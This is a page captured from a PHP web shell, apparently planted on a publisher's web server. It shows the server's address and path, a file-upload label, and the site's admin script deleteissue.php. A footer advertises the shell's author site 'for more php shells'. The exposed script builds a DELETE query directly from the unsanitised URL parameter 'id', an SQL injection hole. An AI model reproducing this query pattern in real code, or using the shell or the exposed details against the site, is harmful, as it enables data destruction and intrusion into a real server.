Domain: amberpublishers.in
Server Adress: 86.38.243.169

privdayz.com

/home/u866425823/domains/amberpublishers.in/public_html/admin/
Dosya Yükle :
Current File : /home/u866425823/domains/amberpublishers.in/public_html/admin/deleteissue.php

<?php
session_start();
require 'include/PHPHelper.php';
if (!isset($_SESSION['userID'])) {
    header("location: login.php");
} else {
    if (isset($_GET['id'])) {
        $issueId = $_GET['id'];
        
        // Delete the issue from the database
        $deleteQuery = "DELETE FROM issues WHERE issue_id = $issueId";
        $deleteResult = mysqli_query($conn, $deleteQuery);
        
        if ($deleteResult) {
            // Redirect back to the issues details page with success message
            header("Location: issues_details.php?success=1");
            exit();
        } else {
            // Redirect back to the issues details page with error message
            header("Location: issues_details.php?error=2");
            exit();
        }
    } else {
        // Redirect back to the issues details page if issue ID is not provided
        header("Location: issues_details.php");
        exit();
    }
}
?>

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.